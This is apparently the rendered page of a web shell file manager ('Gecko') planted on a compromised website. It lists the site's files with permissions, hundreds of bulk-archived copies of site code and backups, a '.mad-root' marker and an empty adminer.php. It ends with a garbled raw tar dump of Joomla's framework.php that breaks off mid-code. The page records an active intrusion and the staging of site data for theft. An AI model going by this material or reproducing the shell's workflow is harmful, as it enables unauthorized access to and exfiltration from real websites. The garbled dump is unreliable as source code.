Gecko [ blueversionx.com ]

Name	Size	Permission
css	[ DIR ]	drwx---r-x
fonts	[ DIR ]	drwx---r-x
images	[ DIR ]	drwx---r-x
js	[ DIR ]	drwx---r-x
.bash_logout.bash_logout.tar.g...	126 B	-rw-r--r--
.bash_logout.tar	2 KB	-rw-r--r--
.bash_profile.bash_profile.tar...	273 B	-rw-r--r--
.bash_profile.tar	2 KB	-rw-r--r--
.bashrc.bashrc.tar.gz	190 B	-rw-r--r--
.bashrc.tar	2 KB	-rw-r--r--
.ftpquota.ftpquota.tar.gz	135 B	-rw-r--r--
.ftpquota.tar	2 KB	-rw-r--r--
.hta.hta.tar.gz	3.15 KB	-rw-r--r--
.hta.tar	6 KB	-rw-r--r--
.htaccess.bak.htaccess.bak.tar...	428 B	-rw-r--r--
.htaccess.bak.tar	2.5 KB	-rw-r--r--
.htaccess.htaccess.tar.gz	194 B	-rw-r--r--
.htaccess.tar	41.5 KB	-rw-r--r--
.htaccess_10125.htaccess_10125...	1.93 KB	-rw-r--r--
.htaccess_10125.tar	6 KB	-rw-r--r--
.htaccess_2608.htaccess_2608.t...	1.83 KB	-rw-r--r--
.htaccess_2608.tar	5.5 KB	-rw-r--r--
.htaccess_old.htaccess_old.tar...	1.71 KB	-rw-r--r--
.htaccess_old.tar	9.5 KB	-rw-r--r--
.htaccess_old2.htaccess_old2.t...	1.81 KB	-rw-r--r--
.htaccess_old2.tar	5.5 KB	-rw-r--r--
.htaccessx.htaccessx.tar.gz	479 B	-rw-r--r--
.htaccessx.tar	2.5 KB	-rw-r--r--
.htaccessxx.htaccessxx.tar.gz	427 B	-rw-r--r--
.htaccessxx.tar	2.5 KB	-rw-r--r--
.mad-root	0 B	-rw-r--r--
.ovhconfig.ovhconfig.tar.gz	188 B	-rw-r--r--
.ovhconfig.tar	2 KB	-rw-r--r--
.tmb.tar	221 KB	-rw-r--r--
.tmb.tar.gz	41.33 KB	-rw-r--r--
.tmb.zip	201.6 KB	-rw-r--r--
.user.ini.tar	3 KB	-rw-r--r--
.user.ini.user.ini.tar.gz	220 B	-rw-r--r--
.well-known.tar	158.5 KB	-rw-r--r--
.well-known.tar.gz	69.8 KB	-rw-r--r--
.well-known.zip	152.89 KB	-rw-r--r--
----index.html.html.tar.gz	8.28 KB	-rw-r--r--
----index.html.tar	40 KB	-rw-r--r--
01.jpg.jpg.tar.gz	2.27 KB	-rw-r--r--
01.jpg.tar	4 KB	-rw-r--r--
10pourcent.zip	212.54 MB	-rw-r--r--
404.html.html.tar.gz	1.19 KB	-rw-r--r--
404.html.tar	5 KB	-rw-r--r--
888index.php.php.tar.gz	8.52 KB	-rw-r--r--
888index.php.tar	42.5 KB	-rw-r--r--
ANE_MOULIN.jpg.jpg.tar.gz	12.53 KB	-rw-r--r--
ANE_MOULIN.jpg.tar	14 KB	-rw-r--r--
Association.zip	6.54 KB	-rw-r--r--
CALES.jpg.jpg.tar.gz	13.84 KB	-rw-r--r--
CALES.jpg.tar	15.5 KB	-rw-r--r--
CONDITIONS.pdf.pdf.tar.gz	592.22 KB	-rw-r--r--
CONDITIONS.pdf.tar	753.5 KB	-rw-r--r--
Cache.zip	39.59 KB	-rw-r--r--
Demo.tar	17.37 MB	-rw-r--r--
Demo.tar.gz	16.59 MB	-rw-r--r--
Demo.zip	17.31 MB	-rw-r--r--
Diff.php.php.tar.gz	3.15 KB	-rw-r--r--
Diff.php.tar	14.5 KB	-rw-r--r--
Downloads.tar	868.5 KB	-rw-r--r--
Downloads.tar.gz	790.18 KB	-rw-r--r--
Downloads.zip	865.8 KB	-rw-r--r--
Filter.zip	41.03 KB	-rw-r--r--
FontAwesome.otf.otf.tar.gz	108.08 KB	-rw-r--r--
FontAwesome.otf.tar	133.5 KB	-rw-r--r--
HTTP.tar	13 KB	-rw-r--r--
HTTP.tar.gz	3.32 KB	-rw-r--r--
ID3.tar	1.12 MB	-rw-r--r--
ID3.tar.gz	233.46 KB	-rw-r--r--
ID3.zip	1.1 MB	-rw-r--r--
IXR.tar	43 KB	-rw-r--r--
IXR.tar.gz	7.69 KB	-rw-r--r--
IXR.zip	34.92 KB	-rw-r--r--
JEANJEAN.jpg.jpg.tar.gz	14.03 KB	-rw-r--r--
JEANJEAN.jpg.tar	15.5 KB	-rw-r--r--
LA.png.png.tar.gz	3.38 KB	-rw-r--r--
LA.png.tar	5 KB	-rw-r--r--
LICENSE.txt.tar	93.5 KB	-rw-r--r--
LICENSE.txt.txt.tar.gz	6.78 KB	-rw-r--r--
LOGO A LA MAZE ON 17 NOVEMBRE ...	1.36 MB	-rw-r--r--
LOGO A LA MAZE ON 17 NOVEMBRE ...	1.41 MB	-rw-r--r--
LOGO ARCEP 2.jpg.jpg.tar.gz	399.9 KB	-rw-r--r--
LOGO ARCEP 2.jpg.tar	1.38 MB	-rw-r--r--
LOGO ARCEP 2.psd.psd.tar.gz	3.66 MB	-rw-r--r--
LOGO ARCEP 2.psd.tar	9.75 MB	-rw-r--r--
Log.tar	45 KB	-rw-r--r--
Log.tar.gz	8.58 KB	-rw-r--r--
Log.zip	37.62 KB	-rw-r--r--
Net.tar	9 KB	-rw-r--r--
Net.tar.gz	2.68 KB	-rw-r--r--
PHPMailer.tar	227.5 KB	-rw-r--r--
PHPMailer.tar.gz	47.75 KB	-rw-r--r--
PHPMailer.zip	223.7 KB	-rw-r--r--
PTITE_FERME.png.png.tar.gz	70.39 KB	-rw-r--r--
PTITE_FERME.png.tar	73.5 KB	-rw-r--r--
PayPal.PNG.PNG.tar.gz	18.47 KB	-rw-r--r--
PayPal.PNG.tar	24 KB	-rw-r--r--
README.txt.tar	34 KB	-rw-r--r--
README.txt.txt.tar.gz	1.83 KB	-rw-r--r--
Requests.tar	427 KB	-rw-r--r--
Requests.tar.gz	30.97 KB	-rw-r--r--
Requests.zip	220.53 KB	-rw-r--r--
SimplePie.tar	474 KB	-rw-r--r--
SimplePie.tar.gz	77.41 KB	-rw-r--r--
SimplePie.zip	456.69 KB	-rw-r--r--
TF89388.tar	958.4 MB	-rw-r--r--
TF89388.tar.gz	20 B	-rw-r--r--
Tate-tuker-web.jpg.jpg.tar.gz	97.22 KB	-rw-r--r--
Tate-tuker-web.jpg.tar	101 KB	-rw-r--r--
Text.tar	63.5 KB	-rw-r--r--
Text.tar.gz	12.67 KB	-rw-r--r--
Text.zip	57.09 KB	-rw-r--r--
UA.png.png.tar.gz	3.24 KB	-rw-r--r--
UA.png.tar	5 KB	-rw-r--r--
XML.zip	7.11 KB	-rw-r--r--
_contact.html.html.tar.gz	4.61 KB	-rw-r--r--
_contact.html.tar	17.5 KB	-rw-r--r--
_index.html.html.tar.gz	8.52 KB	-rw-r--r--
_index.html.tar	40.5 KB	-rw-r--r--
ab1.jpg.jpg.tar.gz	19.2 KB	-rw-r--r--
ab1.jpg.tar	21 KB	-rw-r--r--
ab2.jpg.jpg.tar.gz	19.28 KB	-rw-r--r--
ab2.jpg.tar	21 KB	-rw-r--r--
about-blog.jpg.jpg.tar.gz	61 KB	-rw-r--r--
about-blog.jpg.tar	65.5 KB	-rw-r--r--
about-us.jpg.jpg.tar.gz	27.54 KB	-rw-r--r--
about-us.jpg.tar	31 KB	-rw-r--r--
about.html.html.tar.gz	3.86 KB	-rw-r--r--
about.html.tar	38.5 KB	-rw-r--r--
about.php.php.tar.gz	5.35 KB	-rw-r--r--
about.php.tar	80 KB	-rw-r--r--
actionlog.tar	40 KB	-rw-r--r--
actionlog.tar.gz	4.46 KB	-rw-r--r--
actionlog.zip	36.47 KB	-rw-r--r--
actionlogs.tar	18.5 KB	-rw-r--r--
actionlogs.tar.gz	1.25 KB	-rw-r--r--
actionlogs.zip	2.82 KB	-rw-r--r--
acymailing.tar	338.5 KB	-rw-r--r--
acymailing.tar.gz	48.94 KB	-rw-r--r--
acymailing.zip	308.85 KB	-rw-r--r--
admin-ajax.php.php.tar.gz	1.89 KB	-rw-r--r--
admin-ajax.php.tar	7 KB	-rw-r--r--
admin-bar.php.php.tar.gz	8.22 KB	-rw-r--r--
admin-bar.php.tar	38 KB	-rw-r--r--
admin-footer.php.php.tar.gz	1.14 KB	-rw-r--r--
admin-footer.php.tar	4.5 KB	-rw-r--r--
admin-functions.php.php.tar.gz	333 B	-rw-r--r--
admin-functions.php.tar	3 KB	-rw-r--r--
admin-get.php.php.tar.gz	980 B	-rw-r--r--
admin-get.php.tar	3.5 KB	-rw-r--r--
admin-header.php.php.tar.gz	2.97 KB	-rw-r--r--
admin-header.php.tar	30 KB	-rw-r--r--
admin-post.php.php.tar.gz	847 B	-rw-r--r--
admin-post.php.tar	4 KB	-rw-r--r--
admin.php.php.tar.gz	3.79 KB	-rw-r--r--
admin.php.tar	27 KB	-rw-r--r--
adminer.php	0 B	-rw-r--r--
administrator.tar	83.32 MB	-rw-r--r--
administrator.tar.gz	4.57 MB	-rw-r--r--
administrator.zip	41.74 MB	-rw-r--r--
afrikavio.jpg.jpg.tar.gz	300.69 KB	-rw-r--r--
afrikavio.jpg.tar	323.5 KB	-rw-r--r--
ai1wm-backups.tar	717.78 MB	-rw-r--r--
ai1wm-backups.tar.gz	20 B	-rw-r--r--
akismet.tar	258 KB	-rw-r--r--
akismet.tar.gz	67.37 KB	-rw-r--r--
akismet.zip	240.29 KB	-rw-r--r--
all.js.js.tar.gz	818 B	-rw-r--r--
all.js.tar	3.5 KB	-rw-r--r--
android-chrome-192x192.png.png...	5.04 KB	-rw-r--r--
android-chrome-192x192.png.tar	7 KB	-rw-r--r--
android-chrome-512x512.png.png...	18.64 KB	-rw-r--r--
android-chrome-512x512.png.tar	23.5 KB	-rw-r--r--
android-icon-144x144.png.png.t...	14.3 KB	-rw-r--r--
android-icon-144x144.png.tar	16 KB	-rw-r--r--
android-icon-192x192.png.png.t...	19.65 KB	-rw-r--r--
android-icon-192x192.png.tar	21.5 KB	-rw-r--r--
android-icon-36x36.png.png.tar...	2.67 KB	-rw-r--r--
android-icon-36x36.png.tar	4.5 KB	-rw-r--r--
android-icon-48x48.png.png.tar...	3.76 KB	-rw-r--r--
android-icon-48x48.png.tar	5.5 KB	-rw-r--r--
android-icon-72x72.png.png.tar...	5.93 KB	-rw-r--r--
android-icon-72x72.png.tar	7.5 KB	-rw-r--r--
android-icon-96x96.png.png.tar...	8.36 KB	-rw-r--r--
android-icon-96x96.png.tar	10 KB	-rw-r--r--
android.png.png.tar.gz	2.47 KB	-rw-r--r--
android.png.tar	4 KB	-rw-r--r--
angular-icon.svg.svg.tar.gz	559 B	-rw-r--r--
angular-icon.svg.tar	2.5 KB	-rw-r--r--
angular.png.png.tar.gz	10.65 KB	-rw-r--r--
angular.png.tar	13 KB	-rw-r--r--
api.tar	383.5 KB	-rw-r--r--
api.tar.gz	77.41 KB	-rw-r--r--
api.zip	345.17 KB	-rw-r--r--
app.js.js.tar.gz	501 B	-rw-r--r--
app.js.tar	2.5 KB	-rw-r--r--
app.php.php.tar.gz	1.05 KB	-rw-r--r--
app.php.tar	4 KB	-rw-r--r--
app.tar	199 KB	-rw-r--r--
app.tar.gz	34.34 KB	-rw-r--r--
app.zip	171.56 KB	-rw-r--r--
apple-icon-114x114.png.png.tar...	10.47 KB	-rw-r--r--
apple-icon-114x114.png.tar	12 KB	-rw-r--r--
apple-icon-144x144.png.png.tar...	14.3 KB	-rw-r--r--
apple-icon-144x144.png.tar	16 KB	-rw-r--r--
apple-icon-152x152.png.png.tar...	15.31 KB	-rw-r--r--
apple-icon-152x152.png.tar	17 KB	-rw-r--r--
apple-icon-180x180.png.png.tar...	19.25 KB	-rw-r--r--
apple-icon-180x180.png.tar	21 KB	-rw-r--r--
apple-icon-57x57.png.png.tar.g...	4.53 KB	-rw-r--r--
apple-icon-57x57.png.tar	6 KB	-rw-r--r--
apple-icon-60x60.png.png.tar.g...	4.77 KB	-rw-r--r--
apple-icon-60x60.png.tar	6.5 KB	-rw-r--r--
apple-icon-76x76.png.png.tar.g...	6.29 KB	-rw-r--r--
apple-icon-76x76.png.tar	8 KB	-rw-r--r--
apple-icon-precomposed.png.png...	20.06 KB	-rw-r--r--
apple-icon-precomposed.png.tar	22 KB	-rw-r--r--
apple-touch-icon.png.png.tar.g...	3.99 KB	-rw-r--r--
apple-touch-icon.png.tar	11 KB	-rw-r--r--
apple.png.png.tar.gz	3.5 KB	-rw-r--r--
apple.png.tar	5.5 KB	-rw-r--r--
apps.tar	266 KB	-rw-r--r--
apps.tar.gz	223.94 KB	-rw-r--r--
apps.zip	251.66 KB	-rw-r--r--
archives.tar	11 KB	-rw-r--r--
archives.tar.gz	826 B	-rw-r--r--
archives.zip	2.92 KB	-rw-r--r--
assets.tar	151.49 MB	-rw-r--r--
assets.tar.gz	101.02 MB	-rw-r--r--
assets.zip	88.82 MB	-rw-r--r--
async-upload.php.php.tar.gz	1.96 KB	-rw-r--r--
async-upload.php.tar	12 KB	-rw-r--r--
atomlib.php.php.tar.gz	3.27 KB	-rw-r--r--
atomlib.php.tar	13.5 KB	-rw-r--r--
attachments.tar	2 KB	-rw-r--r--
attachments.tar.gz	124 B	-rw-r--r--
audio.tar	707.5 KB	-rw-r--r--
audio.tar.gz	674.05 KB	-rw-r--r--
authentication.tar	51 KB	-rw-r--r--
authentication.tar.gz	8.78 KB	-rw-r--r--
authentication.zip	40.29 KB	-rw-r--r--
authorize-application.php.php....	3.16 KB	-rw-r--r--
authorize-application.php.tar	12 KB	-rw-r--r--
avatar.zip	3.48 KB	-rw-r--r--
banners.tar	35 KB	-rw-r--r--
banners.tar.gz	29.58 KB	-rw-r--r--
banners.zip	31.48 KB	-rw-r--r--
beez3.tar	630.5 KB	-rw-r--r--
beez3.tar.gz	264.69 KB	-rw-r--r--
beez3.zip	535.04 KB	-rw-r--r--
bg-testinomial.jpg.jpg.tar.gz	461.34 KB	-rw-r--r--
bg-testinomial.jpg.tar	927 KB	-rw-r--r--
bg.jpg.jpg.tar.gz	110.06 KB	-rw-r--r--
bg.jpg.tar	112 KB	-rw-r--r--
bg1.jpg.jpg.tar.gz	150.09 KB	-rw-r--r--
bg1.jpg.tar	152 KB	-rw-r--r--
bg2.jpg.jpg.tar.gz	124.53 KB	-rw-r--r--
bg2.jpg.tar	127.5 KB	-rw-r--r--
bg3.jpg.jpg.tar.gz	669.84 KB	-rw-r--r--
bg3.jpg.tar	711 KB	-rw-r--r--
bg4.jpg.jpg.tar.gz	139.9 KB	-rw-r--r--
bg4.jpg.tar	142 KB	-rw-r--r--
bg5.jpg.jpg.tar.gz	192.52 KB	-rw-r--r--
bg5.jpg.tar	194.5 KB	-rw-r--r--
bighearts-child.tar	1.38 MB	-rw-r--r--
bighearts-child.tar.gz	1.37 MB	-rw-r--r--
bighearts-child.zip	1.37 MB	-rw-r--r--
bighearts.zip	34.41 MB	-rw-r--r--
bin.tar	107.5 KB	-rw-r--r--
bin.tar.gz	27.21 KB	-rw-r--r--
bin.zip	100.81 KB	-rw-r--r--
bizone.tar	4.88 MB	-rw-r--r--
bizone.tar.gz	1.62 MB	-rw-r--r--
bizone.zip	4.8 MB	-rw-r--r--
block-bindings.php.php.tar.gz	1.74 KB	-rw-r--r--
block-bindings.php.tar	7 KB	-rw-r--r--
block-bindings.tar	6 KB	-rw-r--r--
block-bindings.tar.gz	1.1 KB	-rw-r--r--
block-bindings.zip	3.83 KB	-rw-r--r--
block-editor.php.php.tar.gz	6.39 KB	-rw-r--r--
block-editor.php.tar	29.5 KB	-rw-r--r--
block-i18n.json.json.tar.gz	257 B	-rw-r--r--
block-i18n.json.tar	3 KB	-rw-r--r--
block-patterns.php.php.tar.gz	3.16 KB	-rw-r--r--
block-patterns.php.tar	14.5 KB	-rw-r--r--
block-patterns.tar	39.5 KB	-rw-r--r--
block-patterns.tar.gz	3.96 KB	-rw-r--r--
block-patterns.zip	28.32 KB	-rw-r--r--
block-supports.tar	145 KB	-rw-r--r--
block-supports.tar.gz	26.36 KB	-rw-r--r--
block-supports.zip	131.98 KB	-rw-r--r--
block-template-utils.php.php.t...	11.88 KB	-rw-r--r--
block-template-utils.php.tar	57 KB	-rw-r--r--
block-template.php.php.tar.gz	4.16 KB	-rw-r--r--
block-template.php.tar	14 KB	-rw-r--r--
blocks.php.php.tar.gz	4 KB	-rw-r--r--
blocks.php.tar	113 KB	-rw-r--r--
blocks.tar	1.96 MB	-rw-r--r--
blocks.tar.gz	235.75 KB	-rw-r--r--
blocks.zip	1.54 MB	-rw-r--r--
blog.html.html.tar.gz	2.52 KB	-rw-r--r--
blog.html.tar	13.5 KB	-rw-r--r--
blog.tar	5.77 MB	-rw-r--r--
blog.tar.gz	4.87 MB	-rw-r--r--
blog.zip	5.71 MB	-rw-r--r--
blueversiontg.tar	89.5 KB	-rw-r--r--
blueversiontg.tar.gz	26.37 KB	-rw-r--r--
blueversiontg.zip	85.9 KB	-rw-r--r--
bookmark-template.php.php.tar....	3.3 KB	-rw-r--r--
bookmark-template.php.tar	14.5 KB	-rw-r--r--
bookmark.php.php.tar.gz	4.24 KB	-rw-r--r--
bookmark.php.tar	17 KB	-rw-r--r--
bootstrap.min.js.min.js.tar.gz	15.19 KB	-rw-r--r--
bootstrap.min.js.tar	58.5 KB	-rw-r--r--
bootstrap.tar	535 KB	-rw-r--r--
bootstrap.tar.gz	90.49 KB	-rw-r--r--
bootstrap.zip	530.83 KB	-rw-r--r--
browserconfig.xml.tar	2 KB	-rw-r--r--
browserconfig.xml.xml.tar.gz	264 B	-rw-r--r--
button.zip	15.31 KB	-rw-r--r--
buttons.tar	19 KB	-rw-r--r--
buttons.tar.gz	1.45 KB	-rw-r--r--
bv_connector_a3384bc41af663dc2...	5.65 KB	-rw-r--r--
bv_connector_a3384bc41af663dc2...	20.5 KB	-rw-r--r--
c1.jpg.jpg.tar.gz	19.79 KB	-rw-r--r--
c1.jpg.tar	21.5 KB	-rw-r--r--
c2.jpg.jpg.tar.gz	18.15 KB	-rw-r--r--
c2.jpg.tar	20 KB	-rw-r--r--
c3.jpg.jpg.tar.gz	3.26 KB	-rw-r--r--
c3.jpg.tar	5 KB	-rw-r--r--
cache-compat.php.php.tar.gz	1.43 KB	-rw-r--r--
cache-compat.php.tar	7.5 KB	-rw-r--r--
cache.php.php.tar.gz	2.6 KB	-rw-r--r--
cache.php.tar	15 KB	-rw-r--r--
cache.tar	84 KB	-rw-r--r--
cache.tar.gz	24.89 KB	-rw-r--r--
cache.zip	11.15 MB	-rw-r--r--
calendar.zip	4.4 KB	-rw-r--r--
call-to-action-bg-2.jpg.jpg.ta...	68.28 KB	-rw-r--r--
call-to-action-bg-2.jpg.tar	88 KB	-rw-r--r--
call-to-action-bg-20.jpg.jpg.t...	150.06 KB	-rw-r--r--
call-to-action-bg-20.jpg.tar	169.5 KB	-rw-r--r--
call-to-action-bg-222.jpg.jpg....	855.71 KB	-rw-r--r--
call-to-action-bg-222.jpg.tar	873 KB	-rw-r--r--
call-to-action-bg.jpg.jpg.tar....	14.97 KB	-rw-r--r--
call-to-action-bg.jpg.tar	23.5 KB	-rw-r--r--
call-to-action.tar	1.57 MB	-rw-r--r--
call-to-action.tar.gz	1.51 MB	-rw-r--r--
capabilities.php.php.tar.gz	7.1 KB	-rw-r--r--
capabilities.php.tar	83.5 KB	-rw-r--r--
captcha.tar	26 KB	-rw-r--r--
captcha.tar.gz	5.67 KB	-rw-r--r--
captcha.zip	17.58 KB	-rw-r--r--
carapattes.jpg.jpg.tar.gz	184.61 KB	-rw-r--r--
carapattes.jpg.tar	200.5 KB	-rw-r--r--
carousel.less.less.tar.gz	985 B	-rw-r--r--
carousel.less.tar	10 KB	-rw-r--r--
category-template.php.php.tar....	13 KB	-rw-r--r--
category-template.php.tar	57.5 KB	-rw-r--r--
category.php.php.tar.gz	3.54 KB	-rw-r--r--
category.php.tar	41.5 KB	-rw-r--r--
certificates.tar	229.5 KB	-rw-r--r--
certificates.tar.gz	127.51 KB	-rw-r--r--
certificates.zip	227.92 KB	-rw-r--r--
certs.tar	83 KB	-rw-r--r--
certs.tar.gz	24.92 KB	-rw-r--r--
certs.zip	80.85 KB	-rw-r--r--
checkbex.php.php.tar.gz	10.37 KB	-rw-r--r--
checkbex.php.tar	145 KB	-rw-r--r--
class-IXR.php.php.tar.gz	1.19 KB	-rw-r--r--
class-IXR.php.tar	7.5 KB	-rw-r--r--
class-avif-info.php.php.tar.gz	6 KB	-rw-r--r--
class-avif-info.php.tar	30.5 KB	-rw-r--r--
class-feed.php.php.tar.gz	364 B	-rw-r--r--
class-feed.php.tar	5.5 KB	-rw-r--r--
class-http.php.php.tar.gz	341 B	-rw-r--r--
class-http.php.tar	4 KB	-rw-r--r--
class-json.php.php.tar.gz	8.54 KB	-rw-r--r--
class-json.php.tar	44.5 KB	-rw-r--r--
class-oembed.php.php.tar.gz	354 B	-rw-r--r--
class-oembed.php.tar	5 KB	-rw-r--r--
class-phpass.php.php.tar.gz	2.52 KB	-rw-r--r--
class-phpass.php.tar	16 KB	-rw-r--r--
class-phpmailer.php.php.tar.gz	394 B	-rw-r--r--
class-phpmailer.php.tar	4 KB	-rw-r--r--
class-pop3.php.php.tar.gz	4.79 KB	-rw-r--r--
class-pop3.php.tar	64.5 KB	-rw-r--r--
class-requests.php.php.tar.gz	954 B	-rw-r--r--
class-requests.php.tar	10 KB	-rw-r--r--
class-simplepie.php.php.tar.gz	20.46 KB	-rw-r--r--
class-simplepie.php.tar	388 KB	-rw-r--r--
class-smtp.php.php.tar.gz	341 B	-rw-r--r--
class-smtp.php.tar	4 KB	-rw-r--r--
class-snoopy.php.php.tar.gz	7.95 KB	-rw-r--r--
class-snoopy.php.tar	113.5 KB	-rw-r--r--
class-walker-category-dropdown...	1.16 KB	-rw-r--r--
class-walker-category-dropdown...	13 KB	-rw-r--r--
class-walker-category.php.php....	2.45 KB	-rw-r--r--
class-walker-category.php.tar	19 KB	-rw-r--r--
class-walker-comment.php.php.t...	3.27 KB	-rw-r--r--
class-walker-comment.php.tar	15.5 KB	-rw-r--r--
class-walker-nav-menu.php.php....	2.25 KB	-rw-r--r--
class-walker-nav-menu.php.tar	47.5 KB	-rw-r--r--
class-walker-page-dropdown.php...	1.2 KB	-rw-r--r--
class-walker-page-dropdown.php...	14.5 KB	-rw-r--r--
class-walker-page.php.php.tar....	2.11 KB	-rw-r--r--
class-walker-page.php.tar	25 KB	-rw-r--r--
class-wp-admin-bar.php.php.tar...	4.86 KB	-rw-r--r--
class-wp-admin-bar.php.tar	37 KB	-rw-r--r--
class-wp-ajax-response.php.php...	1.81 KB	-rw-r--r--
class-wp-ajax-response.php.tar	12.5 KB	-rw-r--r--
class-wp-application-passwords...	2.74 KB	-rw-r--r--
class-wp-application-passwords...	14.5 KB	-rw-r--r--
class-wp-block-bindings-regist...	2.38 KB	-rw-r--r--
class-wp-block-bindings-regist...	10.5 KB	-rw-r--r--
class-wp-block-bindings-source...	926 B	-rw-r--r--
class-wp-block-bindings-source...	4 KB	-rw-r--r--
class-wp-block-editor-context....	670 B	-rw-r--r--
class-wp-block-editor-context....	3 KB	-rw-r--r--
class-wp-block-list.php.php.ta...	1.26 KB	-rw-r--r--
class-wp-block-list.php.tar	17.5 KB	-rw-r--r--
class-wp-block-parser-block.ph...	880 B	-rw-r--r--
class-wp-block-parser-block.ph...	7 KB	-rw-r--r--
class-wp-block-parser-frame.ph...	680 B	-rw-r--r--
class-wp-block-parser-frame.ph...	6 KB	-rw-r--r--
class-wp-block-parser.php.php....	4.08 KB	-rw-r--r--
class-wp-block-parser.php.tar	52.5 KB	-rw-r--r--
class-wp-block-pattern-categor...	1.4 KB	-rw-r--r--
class-wp-block-pattern-categor...	13 KB	-rw-r--r--
class-wp-block-patterns-regist...	2.9 KB	-rw-r--r--
class-wp-block-patterns-regist...	13 KB	-rw-r--r--
class-wp-block-styles-registry...	1.59 KB	-rw-r--r--
class-wp-block-styles-registry...	21.5 KB	-rw-r--r--
class-wp-block-supports.php.ph...	1.7 KB	-rw-r--r--
class-wp-block-supports.php.ta...	19 KB	-rw-r--r--
class-wp-block-template.php.ph...	693 B	-rw-r--r--
class-wp-block-template.php.ta...	3.5 KB	-rw-r--r--
class-wp-block-type-registry.p...	1.41 KB	-rw-r--r--
class-wp-block-type-registry.p...	17.5 KB	-rw-r--r--
class-wp-block-type.php.php.ta...	3.95 KB	-rw-r--r--
class-wp-block-type.php.tar	36 KB	-rw-r--r--
class-wp-block.php.php.tar.gz	2.14 KB	-rw-r--r--
class-wp-block.php.tar	61 KB	-rw-r--r--
class-wp-classic-to-block-menu...	1.37 KB	-rw-r--r--
class-wp-classic-to-block-menu...	10 KB	-rw-r--r--
class-wp-comment-query.php.php...	10.21 KB	-rw-r--r--
class-wp-comment-query.php.tar	49 KB	-rw-r--r--
class-wp-comment.php.php.tar.g...	2.59 KB	-rw-r--r--
class-wp-comment.php.tar	31 KB	-rw-r--r--
class-wp-customize-control.php...	5.7 KB	-rw-r--r--
class-wp-customize-control.php...	27 KB	-rw-r--r--
class-wp-customize-manager.php...	44.55 KB	-rw-r--r--
class-wp-customize-manager.php...	199.5 KB	-rw-r--r--
class-wp-customize-nav-menu-se...	4.98 KB	-rw-r--r--
class-wp-customize-nav-menu-se...	20 KB	-rw-r--r--
class-wp-customize-panel.php.p...	3.12 KB	-rw-r--r--
class-wp-customize-panel.php.t...	23 KB	-rw-r--r--
class-wp-customize-section.php...	3.25 KB	-rw-r--r--
class-wp-customize-section.php...	12.5 KB	-rw-r--r--
class-wp-customize-setting.php...	6.58 KB	-rw-r--r--
class-wp-customize-setting.php...	31 KB	-rw-r--r--
class-wp-customize-widgets.php...	15.96 KB	-rw-r--r--
class-wp-customize-widgets.php...	277.5 KB	-rw-r--r--
class-wp-date-query.php.php.ta...	8.43 KB	-rw-r--r--
class-wp-date-query.php.tar	36.5 KB	-rw-r--r--
class-wp-dependencies.php.php....	3.37 KB	-rw-r--r--
class-wp-dependencies.php.tar	15.5 KB	-rw-r--r--
class-wp-dependency.php.php.ta...	1.01 KB	-rw-r--r--
class-wp-dependency.php.tar	4.5 KB	-rw-r--r--
class-wp-duotone.php.php.tar.g...	9.24 KB	-rw-r--r--
class-wp-duotone.php.tar	41.5 KB	-rw-r--r--
class-wp-editor.php.php.tar.gz	16.58 KB	-rw-r--r--
class-wp-editor.php.tar	285.5 KB	-rw-r--r--
class-wp-embed.php.php.tar.gz	4.77 KB	-rw-r--r--
class-wp-embed.php.tar	50.5 KB	-rw-r--r--
class-wp-error.php.php.tar.gz	1.93 KB	-rw-r--r--
class-wp-error.php.tar	9 KB	-rw-r--r--
class-wp-fatal-error-handler.p...	2.76 KB	-rw-r--r--
class-wp-fatal-error-handler.p...	9.5 KB	-rw-r--r--
class-wp-feed-cache-transient....	918 B	-rw-r--r--
class-wp-feed-cache-transient....	7.5 KB	-rw-r--r--
class-wp-feed-cache.php.php.ta...	631 B	-rw-r--r--
class-wp-feed-cache.php.tar	4 KB	-rw-r--r--
class-wp-hook.php.php.tar.gz	3.43 KB	-rw-r--r--
class-wp-hook.php.tar	48.5 KB	-rw-r--r--
class-wp-http-cookie.php.php.t...	2.55 KB	-rw-r--r--
class-wp-http-cookie.php.tar	9 KB	-rw-r--r--
class-wp-http-curl.php.php.tar...	3.68 KB	-rw-r--r--
class-wp-http-curl.php.tar	40 KB	-rw-r--r--
class-wp-http-encoding.php.php...	2.21 KB	-rw-r--r--
class-wp-http-encoding.php.tar	8.5 KB	-rw-r--r--
class-wp-http-ixr-client.php.p...	1.45 KB	-rw-r--r--
class-wp-http-ixr-client.php.t...	13 KB	-rw-r--r--
class-wp-http-netfilter.php.ph...	321 B	-rw-r--r--
class-wp-http-netfilter.php.ta...	2 KB	-rw-r--r--
class-wp-http-proxy.php.php.ta...	2.02 KB	-rw-r--r--

Code Editor : includes.tar

framework.php���������������������������������������������������������������������������������������0000604�����������������00000005374�15074613445�0007270 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @package    Joomla.API
 *
 * @copyright  (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Version;
use Joomla\Utilities\IpHelper;

// System includes
require_once JPATH_LIBRARIES . '/bootstrap.php';

// Installation check, and check on removal of the install directory.
if (!file_exists(JPATH_CONFIGURATION . '/configuration.php')
	|| (filesize(JPATH_CONFIGURATION . '/configuration.php') < 10)
	|| (file_exists(JPATH_INSTALLATION . '/index.php') && (false === (new Version)->isInDevelopmentState())))
{
	if (file_exists(JPATH_INSTALLATION . '/index.php'))
	{
		header('HTTP/1.1 500 Internal Server Error');
		echo json_encode(
			array('error' => 'You must install Joomla to use the API')
		);

exit();
	}
	else
	{
		header('HTTP/1.1 500 Internal Server Error');
		echo json_encode(
			array('error' => 'No configuration file found and no installation code available. Exiting...')
		);

exit;
	}
}

// Pre-Load configuration. Don't remove the Output Buffering due to BOM issues, see JCode 26026
ob_start();
require_once JPATH_CONFIGURATION . '/configuration.php';
ob_end_clean();

// System configuration.
$config = new JConfig;

// Set the error_reporting
switch ($config->error_reporting)
{
	case 'default':
	case '-1':
		break;

case 'none':
	case '0':
		error_reporting(0);

break;

case 'simple':
		error_reporting(E_ERROR | E_WARNING | E_PARSE);
		ini_set('display_errors', 1);

break;

case 'maximum':
	case 'development': // <= Stays for backward compatibility, @TODO: can be removed in 5.0
		error_reporting(E_ALL);
		ini_set('display_errors', 1);

break;

default:
		error_reporting($config->error_reporting);
		ini_set('display_errors', 1);

break;
}

define('JDEBUG', $config->debug);

if (JDEBUG || $config->error_reporting === 'maximum')
{
	// Set new Exception handler with debug enabled
	$errorHandler->setExceptionHandler(
		[
